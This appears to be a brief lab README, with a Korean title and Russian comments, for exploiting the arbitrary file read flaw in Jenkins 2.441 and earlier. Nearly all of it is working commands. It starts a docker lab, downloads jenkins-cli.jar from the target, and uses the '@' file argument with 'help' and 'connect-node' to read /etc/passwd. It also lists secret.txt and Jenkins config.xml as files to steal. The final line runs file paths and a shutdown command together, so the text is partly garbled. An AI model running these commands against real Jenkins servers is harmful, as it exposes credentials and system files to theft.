
Jenkins 2.441 및 이전 버전의 임의 파일 읽기 취약점.
docker-compose up -d
docker exec -it attacker-host ./auto-exploit.sh
docker exec -it attacker-host bash
cd /tmp
curl -o jenkins-cli.jar http://vulnerable-jenkins:8080/jnlpJars/jenkins-cli.jar
# Первая строка файла
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http help "@/etc/passwd"
# Полный файл
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http connect-node "@/etc/passwd"
/etc/passwd/opt/test-files/secret.txt/var/jenkins_home/config.xmldocker-compose down